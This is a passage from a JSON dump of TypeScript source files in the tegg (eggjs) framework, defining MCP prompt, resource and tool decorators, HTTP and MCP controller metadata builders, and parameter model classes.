    "content": "import { ControllerType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, MCPPromptParams } from '@eggjs/tegg-types';\nimport type { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\n\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\nimport { MethodInfoUtil } from '../../util/MethodInfoUtil.ts';\n\nexport function MCPPrompt(params?: MCPPromptParams): (target: any, propertyKey: PropertyKey) => void {\n  return function (target: any, propertyKey: PropertyKey): void {\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MethodInfoUtil.setMethodControllerType(controllerClazz, methodName, ControllerType.MCP);\n    MCPInfoUtil.setMCPPromptParams(\n      {\n        ...params,\n        mcpName: params?.name,\n        name: methodName,\n      },\n      controllerClazz,\n      methodName,\n    );\n    MCPInfoUtil.setMCPPrompt(controllerClazz, methodName);\n  };\n}\n\nexport function PromptArgsSchema(\n  argsSchema: Parameters<McpServer['prompt']>['2'],\n): (target: any, propertyKey: PropertyKey, parameterIndex: number) => void {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MCPInfoUtil.setMCPPromptArgsInArgs(\n      {\n        argsSchema,\n        index: parameterIndex,\n      },\n      controllerClazz,\n      methodName,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/mcp/MCPResource.ts",
    "content": "import { ControllerType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, MCPResourceParams } from '@eggjs/tegg-types';\n\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\nimport { MethodInfoUtil } from '../../util/MethodInfoUtil.ts';\n\nexport function MCPResource(params: MCPResourceParams): (target: any, propertyKey: PropertyKey) => void {\n  return function (target: any, propertyKey: PropertyKey): void {\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MethodInfoUtil.setMethodControllerType(controllerClazz, methodName, ControllerType.MCP);\n    MCPInfoUtil.setMCPResourceParams(\n      {\n        ...params,\n        mcpName: params.name,\n        name: methodName,\n      },\n      controllerClazz,\n      methodName,\n    );\n    MCPInfoUtil.setMCPResource(controllerClazz, methodName);\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/mcp/MCPTool.ts",
    "content": "import { ControllerType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, MCPToolParams } from '@eggjs/tegg-types';\nimport type { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\n\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\nimport { MethodInfoUtil } from '../../util/MethodInfoUtil.ts';\n\nexport function MCPTool(params?: MCPToolParams): (target: any, propertyKey: PropertyKey) => void {\n  return function (target: any, propertyKey: PropertyKey): void {\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MethodInfoUtil.setMethodControllerType(controllerClazz, methodName, ControllerType.MCP);\n    MCPInfoUtil.setMCPToolParams(\n      {\n        ...params,\n        mcpName: params?.name,\n        name: methodName,\n      },\n      controllerClazz,\n      methodName,\n    );\n    MCPInfoUtil.setMCPTool(controllerClazz, methodName);\n  };\n}\n\nexport function ToolArgsSchema(\n  argsSchema: Parameters<McpServer['tool']>['2'],\n): (target: any, propertyKey: PropertyKey, parameterIndex: number) => void {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    const controllerClazz = target.constructor as EggProtoImplClass;\n    const methodName = propertyKey as string;\n    MCPInfoUtil.setMCPToolArgsInArgs(\n      {\n        argsSchema,\n        index: parameterIndex,\n      },\n      controllerClazz,\n      methodName,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/decorator/mcp/index.ts",
    "content": "export * from './Extra.ts';\nexport * from './MCPController.ts';\nexport * from './MCPPrompt.ts';\nexport * from './MCPResource.ts';\nexport * from './MCPTool.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/http/HTTPControllerMetaBuilder.ts",
    "content": "import assert from 'node:assert';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { ClassUtil } from '@eggjs/metadata';\nimport { ObjectUtils } from '@eggjs/tegg-common-util';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\nimport { ControllerType } from '@eggjs/tegg-types';\n\nimport { ControllerMetaBuilderFactory } from '../../builder/index.ts';\nimport { HTTPControllerMeta, HTTPMethodMeta } from '../../model/index.ts';\nimport { ControllerInfoUtil, ControllerMetadataUtil, HTTPInfoUtil, ControllerValidator } from '../../util/index.ts';\nimport { HTTPControllerMethodMetaBuilder } from './HTTPControllerMethodMetaBuilder.ts';\n\nexport class HTTPControllerMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  private buildMethod(): HTTPMethodMeta[] {\n    const methodNames = ObjectUtils.getProperties(this.clazz.prototype);\n    const methods: HTTPMethodMeta[] = [];\n    for (const methodName of methodNames) {\n      const builder = new HTTPControllerMethodMetaBuilder(this.clazz, methodName);\n      const methodMeta = builder.build();\n      if (methodMeta) {\n        methods.push(methodMeta);\n      }\n    }\n    return methods;\n  }\n\n  build(): HTTPControllerMeta {\n    ControllerValidator.validate(this.clazz);\n    const controllerType = ControllerInfoUtil.getControllerType(this.clazz);\n    assert.equal(controllerType, ControllerType.HTTP, 'invalidate controller type');\n    const httpPath = HTTPInfoUtil.getHTTPPath(this.clazz);\n    const httpMiddlewares = ControllerInfoUtil.getControllerMiddlewares(this.clazz);\n    const methods = this.buildMethod();\n    const clazzName = this.clazz.name;\n    const controllerName = ControllerInfoUtil.getControllerName(this.clazz) || clazzName;\n    const property = PrototypeUtil.getProperty(this.clazz);\n    const protoName = property!.name as string;\n    const needAcl = ControllerInfoUtil.hasControllerAcl(this.clazz);\n    const aclCode = ControllerInfoUtil.getControllerAcl(this.clazz);\n    const hosts = ControllerInfoUtil.getControllerHosts(this.clazz);\n    const timeout = ControllerInfoUtil.getControllerTimeout(this.clazz);\n    const metadata = new HTTPControllerMeta(\n      clazzName,\n      protoName,\n      controllerName,\n      httpPath,\n      httpMiddlewares,\n      methods,\n      needAcl,\n      aclCode,\n      hosts,\n      timeout,\n    );\n    ControllerMetadataUtil.setControllerMetadata(this.clazz, metadata);\n    for (const method of metadata.methods) {\n      const realPath = metadata.getMethodRealPath(method);\n      if (!realPath.startsWith('/')) {\n        const desc = ClassUtil.classDescription(this.clazz);\n        throw new Error(`class ${desc} method ${method.name} path ${realPath} not start with /`);\n      }\n    }\n    return metadata;\n  }\n\n  static create(clazz: EggProtoImplClass): HTTPControllerMetaBuilder {\n    return new HTTPControllerMetaBuilder(clazz);\n  }\n}\n\nControllerMetaBuilderFactory.registerControllerMetaBuilder(ControllerType.HTTP, HTTPControllerMetaBuilder.create);\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/http/HTTPControllerMethodMetaBuilder.ts",
    "content": "import path from 'node:path';\n\nimport { ClassUtil } from '@eggjs/metadata';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { HTTPMethodMeta, ParamMeta, ParamMetaUtil } from '../../model/index.ts';\nimport { MethodValidator, HTTPInfoUtil, MethodInfoUtil, HTTPPriorityUtil } from '../../util/index.ts';\n\nexport class HTTPControllerMethodMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n  private readonly methodName: string;\n\n  constructor(clazz: EggProtoImplClass, methodName: string) {\n    this.clazz = clazz;\n    this.methodName = methodName;\n  }\n\n  // 检查 HTTP 方法上参数是否都加上了注解\n  // foo(a, b=233, c); foo.length = 2;\n  // 由于这种情况的存在, 所以需要对 function 参数检查进行特殊处理\n  // 如果有注解的参数比 function.length 长, 长度应该取有注解参数总数（包括 @Context）\n  //\n  // 但是有两种特殊情况无法处理\n  // foo(@Context() ctx, @HTTPParam() id1, id2 = 233)\n  // foo(@Context() ctx, @HTTPParam() id1, id2 = 233, id3)\n  // 这两种情况均为默认值参数在\n  private checkParamDecorators() {\n    const method = this.clazz.prototype[this.methodName];\n\n    // 获取函数参数长度\n    const functionLength = method.length;\n\n    // 计算带注解参数\n    const paramIndexList = HTTPInfoUtil.getParamIndexList(this.clazz, this.methodName);\n    const contextIndex = MethodInfoUtil.getMethodContextIndex(this.clazz, this.methodName);\n    const hasAnnotationParamCount =\n      typeof contextIndex === 'undefined' ? paramIndexList.length : paramIndexList.length + 1;\n\n    const maxParamCount = Math.max(functionLength, hasAnnotationParamCount);\n\n    for (let i = 0; i < maxParamCount; ++i) {\n      // 上下文参数, 跳过检查\n      if (i === contextIndex) {\n        continue;\n      }\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(i, this.clazz, this.methodName);\n      if (!paramType) {\n        const classDesc = ClassUtil.classDescription(this.clazz);\n        throw new Error(\n          `${classDesc}:${this.methodName} param ${i} has no http param type, Please add @HTTPBody, @HTTPParam, @HTTPQuery, @HTTPQueries`,\n        );\n      }\n    }\n  }\n\n  private buildParamType(httpPath: string): Map<number, ParamMeta> {\n    this.checkParamDecorators();\n\n    const paramTypeMap = new Map<number, ParamMeta>();\n    const paramIndexList = HTTPInfoUtil.getParamIndexList(this.clazz, this.methodName);\n    for (const paramIndex of paramIndexList) {\n      const paramType = HTTPInfoUtil.getHTTPMethodParamType(paramIndex, this.clazz, this.methodName)!;\n      const paramName = HTTPInfoUtil.getHTTPMethodParamName(paramIndex, this.clazz, this.methodName);\n      const paramMeta = ParamMetaUtil.createParam(paramType, paramName);\n\n      try {\n        paramMeta.validate(httpPath);\n      } catch (e: any) {\n        const classDesc = ClassUtil.classDescription(this.clazz);\n        e.message = `build controller ${classDesc} method ${this.methodName} param ${paramName} failed: ${e.message}`;\n        throw e;\n      }\n\n      paramTypeMap.set(paramIndex, paramMeta);\n    }\n    return paramTypeMap;\n  }\n\n  getPriority(): number {\n    const priority = HTTPInfoUtil.getHTTPMethodPriority(this.clazz, this.methodName);\n    if (priority !== undefined) {\n      return priority;\n    }\n    const controllerPath = HTTPInfoUtil.getHTTPPath(this.clazz);\n    const methodPath = HTTPInfoUtil.getHTTPMethodPath(this.clazz, this.methodName)!;\n    const realPath = controllerPath ? path.posix.join(controllerPath, methodPath) : methodPath;\n    const defaultPriority = HTTPPriorityUtil.calcPathPriority(realPath);\n    if (defaultPriority > HTTPPriorityUtil.DEFAULT_PRIORITY) {\n      throw new Error(`path ${realPath} is too long, should set priority manually`);\n    }\n    return defaultPriority;\n  }\n\n  build(): HTTPMethodMeta | undefined {\n    MethodValidator.validate(this.clazz, this.methodName);\n    const controllerType = MethodInfoUtil.getMethodControllerType(this.clazz, this.methodName);\n    if (!controllerType) {\n      return undefined;\n    }\n    const httpMethod = HTTPInfoUtil.getHTTPMethodMethod(this.clazz, this.methodName);\n    const parentPath = HTTPInfoUtil.getHTTPPath(this.clazz);\n    const httpPath = HTTPInfoUtil.getHTTPMethodPath(this.clazz, this.methodName)!;\n    const contextIndex = MethodInfoUtil.getMethodContextIndex(this.clazz, this.methodName);\n    const middlewares = MethodInfoUtil.getMethodMiddlewares(this.clazz, this.methodName);\n    const needAcl = MethodInfoUtil.hasMethodAcl(this.clazz, this.methodName);\n    const aclCode = MethodInfoUtil.getMethodAcl(this.clazz, this.methodName);\n    const hosts = MethodInfoUtil.getMethodHosts(this.clazz, this.methodName);\n    const timeout = MethodInfoUtil.getMethodTimeout(this.clazz, this.methodName);\n    const realPath = parentPath ? path.posix.join(parentPath, httpPath) : httpPath;\n    const paramTypeMap = this.buildParamType(realPath);\n    const priority = this.getPriority();\n    return new HTTPMethodMeta(\n      this.methodName,\n      httpPath!,\n      httpMethod!,\n      middlewares,\n      contextIndex,\n      paramTypeMap,\n      priority,\n      needAcl,\n      aclCode,\n      hosts,\n      timeout,\n    );\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/http/index.ts",
    "content": "export * from './HTTPControllerMetaBuilder.ts';\nexport * from './HTTPControllerMethodMetaBuilder.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/index.ts",
    "content": "export * from './http/index.ts';\nexport * from './mcp/index.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/mcp/MCPControllerMetaBuilder.ts",
    "content": "import assert from 'node:assert';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { ControllerType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ControllerMetaBuilderFactory } from '../../builder/ControllerMetaBuilderFactory.ts';\nimport { MCPPromptMeta, MCPResourceMeta, MCPToolMeta } from '../../model/index.ts';\nimport { MCPControllerMeta } from '../../model/MCPControllerMeta.ts';\nimport { ControllerInfoUtil } from '../../util/ControllerInfoUtil.ts';\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\nimport { ControllerValidator } from '../../util/validator/ControllerValidator.ts';\nimport { MCPControllerPromptMetaBuilder } from './MCPControllerPromptMetaBuilder.ts';\nimport { MCPControllerResourceMetaBuilder } from './MCPControllerResourceMetaBuilder.ts';\nimport { MCPControllerToolMetaBuilder } from './MCPControllerToolMetaBuilder.ts';\n\nexport class MCPControllerMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n\n  constructor(clazz: EggProtoImplClass) {\n    this.clazz = clazz;\n  }\n\n  private buildResource(): MCPResourceMeta[] {\n    const methodNames = MCPInfoUtil.getMCPResource(this.clazz);\n    const methods: MCPResourceMeta[] = [];\n    for (const methodName of methodNames) {\n      const builder = new MCPControllerResourceMetaBuilder(this.clazz, methodName);\n      const methodMeta = builder.build();\n      if (methodMeta) {\n        methods.push(methodMeta);\n      }\n    }\n    return methods;\n  }\n\n  private buildPrompt(): MCPPromptMeta[] {\n    const methodNames = MCPInfoUtil.getMCPPrompt(this.clazz);\n    const methods: MCPPromptMeta[] = [];\n    for (const methodName of methodNames) {\n      const builder = new MCPControllerPromptMetaBuilder(this.clazz, methodName);\n      const methodMeta = builder.build();\n      if (methodMeta) {\n        methods.push(methodMeta);\n      }\n    }\n    return methods;\n  }\n\n  private buildTool(): MCPToolMeta[] {\n    const methodNames = MCPInfoUtil.getMCPTool(this.clazz);\n    const methods: MCPToolMeta[] = [];\n    for (const methodName of methodNames) {\n      const builder = new MCPControllerToolMetaBuilder(this.clazz, methodName);\n      const methodMeta = builder.build();\n      if (methodMeta) {\n        methods.push(methodMeta);\n      }\n    }\n    return methods;\n  }\n\n  build(): MCPControllerMeta {\n    ControllerValidator.validate(this.clazz);\n    const controllerType = ControllerInfoUtil.getControllerType(this.clazz);\n    assert(controllerType === ControllerType.MCP, 'invalidate controller type');\n    const mcpMiddlewares = ControllerInfoUtil.getControllerMiddlewares(this.clazz);\n    const resources = this.buildResource();\n    const prompts = this.buildPrompt();\n    const tools = this.buildTool();\n    const property = PrototypeUtil.getProperty(this.clazz);\n    const protoName = property!.name as string;\n    const clazzName = this.clazz.name;\n    const controllerName = ControllerInfoUtil.getControllerName(this.clazz) || clazzName;\n    const name = MCPInfoUtil.getMCPName(this.clazz);\n    const version = MCPInfoUtil.getMCPVersion(this.clazz) || '1.0.0';\n    const needAcl = ControllerInfoUtil.hasControllerAcl(this.clazz);\n    const aclCode = ControllerInfoUtil.getControllerAcl(this.clazz);\n    const meta = MCPInfoUtil.getMCPControllerParams(this.clazz);\n    return new MCPControllerMeta(\n      clazzName,\n      protoName,\n      controllerName,\n      version,\n      tools,\n      resources,\n      prompts,\n      mcpMiddlewares,\n      name,\n      needAcl,\n      aclCode,\n      meta,\n    );\n  }\n\n  static create(clazz: EggProtoImplClass): MCPControllerMetaBuilder {\n    return new MCPControllerMetaBuilder(clazz);\n  }\n}\n\nControllerMetaBuilderFactory.registerControllerMetaBuilder(ControllerType.MCP, MCPControllerMetaBuilder.create);\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/mcp/MCPControllerPromptMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { MCPPromptMeta } from '../../model/index.ts';\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\nimport { MethodInfoUtil } from '../../util/MethodInfoUtil.ts';\nimport { MethodValidator } from '../../util/validator/MethodValidator.ts';\n\nexport class MCPControllerPromptMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n  private readonly methodName: string;\n\n  constructor(clazz: EggProtoImplClass, methodName: string) {\n    this.clazz = clazz;\n    this.methodName = methodName;\n  }\n\n  build(): MCPPromptMeta | undefined {\n    MethodValidator.validate(this.clazz, this.methodName);\n    const controllerType = MethodInfoUtil.getMethodControllerType(this.clazz, this.methodName);\n    if (!controllerType) {\n      return undefined;\n    }\n    const middlewares = MethodInfoUtil.getMethodMiddlewares(this.clazz, this.methodName);\n    const needAcl = MethodInfoUtil.hasMethodAcl(this.clazz, this.methodName);\n    const aclCode = MethodInfoUtil.getMethodAcl(this.clazz, this.methodName);\n    const params = MCPInfoUtil.getMCPPromptParams(this.clazz, this.methodName);\n    const detail = MCPInfoUtil.getMCPPromptArgsIndex(this.clazz, this.methodName);\n    const extra = MCPInfoUtil.getMCPExtra(this.clazz, this.methodName);\n\n    return new MCPPromptMeta({\n      name: this.methodName,\n      middlewares,\n      needAcl,\n      aclCode,\n      detail,\n      extra,\n      ...params,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/mcp/MCPControllerResourceMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { MCPResourceMeta } from '../../model/index.ts';\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\nimport { MethodInfoUtil } from '../../util/MethodInfoUtil.ts';\nimport { MethodValidator } from '../../util/validator/MethodValidator.ts';\n\nexport class MCPControllerResourceMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n  private readonly methodName: string;\n\n  constructor(clazz: EggProtoImplClass, methodName: string) {\n    this.clazz = clazz;\n    this.methodName = methodName;\n  }\n\n  build(): MCPResourceMeta | undefined {\n    MethodValidator.validate(this.clazz, this.methodName);\n    const controllerType = MethodInfoUtil.getMethodControllerType(this.clazz, this.methodName);\n    if (!controllerType) {\n      return undefined;\n    }\n    const middlewares = MethodInfoUtil.getMethodMiddlewares(this.clazz, this.methodName);\n    const needAcl = MethodInfoUtil.hasMethodAcl(this.clazz, this.methodName);\n    const aclCode = MethodInfoUtil.getMethodAcl(this.clazz, this.methodName);\n    const params = MCPInfoUtil.getMCPResourceParams(this.clazz, this.methodName);\n    const extra = MCPInfoUtil.getMCPExtra(this.clazz, this.methodName);\n\n    return new MCPResourceMeta({\n      name: this.methodName,\n      middlewares,\n      needAcl,\n      aclCode,\n      extra,\n      ...params,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/mcp/MCPControllerToolMetaBuilder.ts",
    "content": "import type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { MCPToolMeta } from '../../model/index.ts';\nimport { MCPInfoUtil } from '../../util/MCPInfoUtil.ts';\nimport { MethodInfoUtil } from '../../util/MethodInfoUtil.ts';\nimport { MethodValidator } from '../../util/validator/MethodValidator.ts';\n\nexport class MCPControllerToolMetaBuilder {\n  private readonly clazz: EggProtoImplClass;\n  private readonly methodName: string;\n\n  constructor(clazz: EggProtoImplClass, methodName: string) {\n    this.clazz = clazz;\n    this.methodName = methodName;\n  }\n\n  build(): MCPToolMeta | undefined {\n    MethodValidator.validate(this.clazz, this.methodName);\n    const controllerType = MethodInfoUtil.getMethodControllerType(this.clazz, this.methodName);\n    if (!controllerType) {\n      return undefined;\n    }\n    const middlewares = MethodInfoUtil.getMethodMiddlewares(this.clazz, this.methodName);\n    const needAcl = MethodInfoUtil.hasMethodAcl(this.clazz, this.methodName);\n    const aclCode = MethodInfoUtil.getMethodAcl(this.clazz, this.methodName);\n    const params = MCPInfoUtil.getMCPToolParams(this.clazz, this.methodName);\n    const detail = MCPInfoUtil.getMCPToolArgsIndex(this.clazz, this.methodName);\n    const extra = MCPInfoUtil.getMCPExtra(this.clazz, this.methodName);\n\n    return new MCPToolMeta({\n      name: this.methodName,\n      middlewares,\n      needAcl,\n      aclCode,\n      detail,\n      extra,\n      ...params,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/impl/mcp/index.ts",
    "content": "export * from './MCPControllerMetaBuilder.ts';\nexport * from './MCPControllerPromptMetaBuilder.ts';\nexport * from './MCPControllerResourceMetaBuilder.ts';\nexport * from './MCPControllerToolMetaBuilder.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/controller-decorator';\n\nexport * from './builder/index.ts';\nexport * from './decorator/index.ts';\nexport * from './impl/index.ts';\nexport * from './model/index.ts';\nexport * from './util/index.ts';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/HTTPControllerMeta.ts",
    "content": "import path from 'node:path';\n\nimport type { ControllerMetadata, EggPrototypeName, MiddlewareFunc } from '@eggjs/tegg-types';\nimport { ControllerType } from '@eggjs/tegg-types';\n\nimport { HTTPMethodMeta } from './HTTPMethodMeta.ts';\n\nexport class HTTPControllerMeta implements ControllerMetadata {\n  readonly protoName: EggPrototypeName;\n  readonly controllerName: string;\n  readonly className: string;\n  public readonly type: ControllerType = ControllerType.HTTP;\n  public readonly path?: string;\n  public readonly middlewares: readonly MiddlewareFunc[];\n  public readonly methods: readonly HTTPMethodMeta[];\n  public readonly needAcl: boolean;\n  public readonly aclCode?: string;\n  public readonly hosts?: string[];\n  public readonly timeout?: number;\n\n  constructor(\n    className: string,\n    protoName: EggPrototypeName,\n    controllerName: string,\n    path: string | undefined,\n    middlewares: MiddlewareFunc[],\n    methods: HTTPMethodMeta[],\n    needAcl: boolean,\n    aclCode: string | undefined,\n    hosts: string[] | undefined,\n    timeout: number | undefined,\n  ) {\n    this.protoName = protoName;\n    this.controllerName = controllerName;\n    this.className = className;\n    this.path = path;\n    this.middlewares = middlewares;\n    this.methods = methods;\n    this.needAcl = needAcl;\n    this.aclCode = aclCode;\n    this.hosts = hosts;\n    this.timeout = timeout;\n  }\n\n  getMethodRealPath(method: HTTPMethodMeta): string {\n    if (this.path) {\n      return path.posix.join(this.path, method.path);\n    }\n    return method.path;\n  }\n\n  getMethodHosts(method: HTTPMethodMeta): string[] | undefined {\n    if (this.hosts) {\n      return this.hosts;\n    }\n    return method.hosts;\n  }\n\n  getMethodName(method: HTTPMethodMeta) {\n    return `${method.method} ${this.controllerName}.${method.name}`;\n  }\n\n  getMethodMiddlewares(method: HTTPMethodMeta): MiddlewareFunc[] {\n    if (this.middlewares.length) {\n      return [...this.middlewares, ...method.middlewares];\n    }\n    return [...method.middlewares];\n  }\n\n  hasMethodAcl(method: HTTPMethodMeta): boolean {\n    return method.needAcl || this.needAcl;\n  }\n\n  getMethodAcl(method: HTTPMethodMeta): string | undefined {\n    if (method.aclCode) {\n      return method.aclCode;\n    }\n    return this.aclCode;\n  }\n\n  getMethodTimeout(method: HTTPMethodMeta): number | undefined {\n    return method.timeout || this.timeout;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/HTTPCookies.ts",
    "content": "export { Cookies } from '@eggjs/cookies';\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/HTTPMethodMeta.ts",
    "content": "import assert from 'node:assert';\n\nimport { HTTPParamType } from '@eggjs/tegg-types';\nimport type { HTTPMethodEnum, MethodMeta, MiddlewareFunc } from '@eggjs/tegg-types';\nimport pathToRegexp, { type Key as PathToRegexpKey } from 'path-to-regexp';\n\nexport abstract class ParamMeta {\n  type: HTTPParamType;\n\n  abstract validate(httpPath: string): void;\n}\n\nexport class RequestParamMeta extends ParamMeta {\n  type: HTTPParamType = HTTPParamType.REQUEST;\n\n  validate(): void {\n    return;\n  }\n}\n\nexport class BodyParamMeta extends ParamMeta {\n  type: HTTPParamType = HTTPParamType.BODY;\n\n  validate(): void {\n    return;\n  }\n}\n\nexport class HeadersParamMeta extends ParamMeta {\n  type: HTTPParamType = HTTPParamType.HEADERS;\n\n  validate(): void {\n    return;\n  }\n}\n\nexport class QueryParamMeta extends ParamMeta {\n  type: HTTPParamType = HTTPParamType.QUERY;\n  name: string;\n\n  constructor(name: string) {\n    super();\n    this.name = name;\n  }\n\n  validate(): void {\n    return;\n  }\n}\n\nexport class QueriesParamMeta extends ParamMeta {\n  type: HTTPParamType = HTTPParamType.QUERIES;\n  name: string;\n\n  constructor(name: string) {\n    super();\n    this.name = name;\n  }\n\n  validate(): void {\n    return;\n  }\n}\n\nexport class PathParamMeta extends ParamMeta {\n  type: HTTPParamType = HTTPParamType.PARAM;\n  name: string;\n\n  constructor(name: string) {\n    super();\n    this.name = name;\n  }\n\n  validate(httpPath: string): void {\n    const names: PathToRegexpKey[] = [];\n    pathToRegexp(httpPath, names);\n    if (!names.find((name) => String(name.name) === this.name)) {\n      throw new Error(`can not find param ${this.name} in path ${httpPath}`);\n    }\n  }\n}\n\nexport class CookiesParamMeta extends ParamMeta {\n  type: HTTPParamType = HTTPParamType.COOKIES;\n\n  validate(): void {\n    return;\n  }\n}\n\nexport class HTTPMethodMeta implements MethodMeta {\n  public readonly name: string;\n  public readonly path: string;\n  public readonly method: HTTPMethodEnum;\n  public readonly middlewares: readonly MiddlewareFunc[];\n  public readonly contextParamIndex: number | undefined;\n  public readonly paramMap: Map<number, ParamMeta>;\n  public readonly priority: number;\n  public readonly needAcl: boolean;\n  public readonly aclCode: string | undefined;\n  public readonly hosts: string[] | undefined;\n  public readonly timeout: number | undefined;\n\n  constructor(\n    name: string,\n    path: string,\n    method: HTTPMethodEnum,\n    middlewares: MiddlewareFunc[],\n    contextParamIndex: number | undefined,\n    paramTypeMap: Map<number, ParamMeta>,\n    priority: number,\n    needAcl: boolean,\n    aclCode: string | undefined,\n    hosts: string[] | undefined,\n    timeout: number | undefined,\n  ) {\n    this.name = name;\n    this.path = path;\n    this.method = method;\n    this.middlewares = middlewares;\n    this.contextParamIndex = contextParamIndex;\n    this.paramMap = paramTypeMap;\n    this.priority = priority;\n    this.needAcl = needAcl;\n    this.aclCode = aclCode;\n    this.hosts = hosts;\n    this.timeout = timeout;\n  }\n}\n\nexport class ParamMetaUtil {\n  static createParam(type: HTTPParamType, name?: string): ParamMeta {\n    switch (type) {\n      case HTTPParamType.PARAM: {\n        assert(name, 'path param must has name');\n        return new PathParamMeta(name!);\n      }\n      case HTTPParamType.BODY: {\n        return new BodyParamMeta();\n      }\n      case HTTPParamType.HEADERS: {\n        return new HeadersParamMeta();\n      }\n      case HTTPParamType.QUERIES: {\n        assert(name, 'queries param must has name');\n        return new QueriesParamMeta(name!);\n      }\n      case HTTPParamType.QUERY: {\n        assert(name, 'query param must has name');\n        return new QueryParamMeta(name!);\n      }\n      case HTTPParamType.REQUEST: {\n        return new RequestParamMeta();\n      }\n      case HTTPParamType.COOKIES: {\n        return new CookiesParamMeta();\n      }\n      default:\n        assert.fail('never arrive');\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/HTTPResponse.ts",
    "content": "const HTTPResponseBase: { new (): any } = (typeof Response !== 'undefined' ? Response : Object) as { new (): any };\nexport class HTTPResponse extends HTTPResponseBase {}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/MCPControllerMeta.ts",
    "content": "import { ControllerType } from '@eggjs/tegg-types';\nimport type { ControllerMetadata, MiddlewareFunc, EggPrototypeName, MCPControllerParams } from '@eggjs/tegg-types';\n\nimport { MCPPromptMeta } from './MCPPromptMeta.ts';\nimport { MCPResourceMeta } from './MCPResourceMeta.ts';\nimport { MCPToolMeta } from './MCPToolMeta.ts';\n\nexport class MCPControllerMeta implements ControllerMetadata {\n  readonly protoName: EggPrototypeName;\n  readonly controllerName: string;\n  readonly className: string;\n  readonly methods: never[];\n  readonly middlewares: readonly MiddlewareFunc[];\n  readonly type: ControllerType = ControllerType.MCP;\n  readonly name?: string;\n  readonly version: string;\n  readonly needAcl: boolean;\n  readonly aclCode?: string;\n  readonly tools: MCPToolMeta[];\n  readonly resources: MCPResourceMeta[];\n  readonly prompts: MCPPromptMeta[];\n  readonly timeout?: number;\n\n  get id(): string {\n    return `${this.name ?? this.controllerName}:${this.version}`;\n  }\n\n  constructor(\n    className: string,\n    protoName: EggPrototypeName,\n    controllerName: string,\n    version: string,\n    tools: MCPToolMeta[],\n    resources: MCPResourceMeta[],\n    prompts: MCPPromptMeta[],\n    middlewares: MiddlewareFunc[],\n    name?: string,\n    needAcl?: boolean,\n    aclCode?: string,\n    meta?: MCPControllerParams,\n  ) {\n    this.protoName = protoName;\n    this.controllerName = controllerName;\n    this.className = className;\n    this.name = name;\n    this.version = version;\n    this.tools = tools;\n    this.resources = resources;\n    this.prompts = prompts;\n    this.middlewares = middlewares;\n    this.methods = [];\n    this.needAcl = !!needAcl;\n    this.aclCode = aclCode;\n    this.timeout = meta?.timeout;\n  }\n\n  getMethodMiddlewares(method: MCPPromptMeta | MCPToolMeta | MCPResourceMeta): readonly MiddlewareFunc[] {\n    if (this.middlewares.length) {\n      return [...this.middlewares, ...method.middlewares];\n    }\n    return method.middlewares;\n  }\n\n  hasMethodAcl(method: MCPPromptMeta | MCPToolMeta | MCPResourceMeta): boolean {\n    return method.needAcl || this.needAcl;\n  }\n\n  getMethodAcl(method: MCPPromptMeta | MCPToolMeta | MCPResourceMeta): string | undefined {\n    return method.aclCode || this.aclCode;\n  }\n}\n"
  },
  {
    "path": "tegg/core/controller-decorator/src/model/MCPPromptMeta.ts",
